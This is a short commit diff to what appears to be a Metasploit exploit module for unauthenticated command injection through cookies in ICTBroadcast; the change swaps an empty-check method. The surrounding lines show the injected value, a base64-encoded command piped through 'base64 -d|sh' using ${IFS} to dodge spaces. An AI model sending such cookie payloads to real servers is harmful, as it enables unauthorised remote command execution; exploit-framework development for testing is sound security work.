Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb

Co-authored-by: msutovsky-r7 <[email protected]>

Author: Chocapikk

modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb

@@ -74,7 +74,7 @@ def get_valid_cookies
 
   def inject_cookie_payload(command)
     cookies = get_valid_cookies
-    return if cookies.empty?
+    return if cookies.blank?
 
     encoded_command = Rex::Text.encode_base64(command)
     payload = "echo${IFS}#{encoded_command}|base64${IFS}-d|sh"